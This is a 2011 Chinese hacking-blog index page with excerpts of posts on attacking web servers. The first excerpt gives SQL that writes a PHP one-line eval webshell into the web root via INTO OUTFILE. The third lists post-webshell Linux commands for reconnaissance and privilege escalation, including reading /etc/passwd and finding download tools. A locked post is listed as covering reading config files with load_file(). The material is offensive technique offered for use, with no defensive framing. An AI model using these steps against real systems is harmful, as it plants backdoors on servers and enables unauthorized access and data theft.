2011年4月20日

MySQL导出一句话拿WebShell的方法

摘要： 叶子's blog文章中用到的SQL语句大体如下(命令行或者其它能执行SQL命令的shell都行)：Drop TABLE IF EXISTS temp; //如果存在temp就删掉Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段Insert INTO temp (cmd) VALUES('<? php eval($_POST[cmd]);?>'); //把一句话木马插入到temp表Select cmd from temp into out file 'F:/wwwroot/eval. 阅读全文

posted @ 2011-04-20 10:39 =_=! 阅读(578) 评论(0) 推荐(0) 编辑

load_file()查看常用的一些配置文件

该文被密码保护。 阅读全文

posted @ 2011-04-20 07:48 =_=! 阅读(2) 评论(0) 推荐(0) 编辑

linux webshell下信息收集和一些提权常用的命令

摘要： cat ./../mainfile.php -查看mainfile.php文件内容ls -la – 查看文件列表.ifconfig {eth0 etc} – 查看网卡信息.ps aux – 查看运行进程.gcc in_file -o out_file – 编译c文件.cat /etc/passwd – 查看系统账号.sudo – 普通用户运行root权限的命令，前提是 /etc/sudoers中有此账户的规则.id – 查看当前用户各种id.which wget curl w3m lynx – 查看当前可用的下载器uname -r -查看内核版本信息 (or) cat /etc/release 阅读全文

posted @ 2011-04-20 06:45 =_=! 阅读(507) 评论(0) 推荐(0) 编辑

导航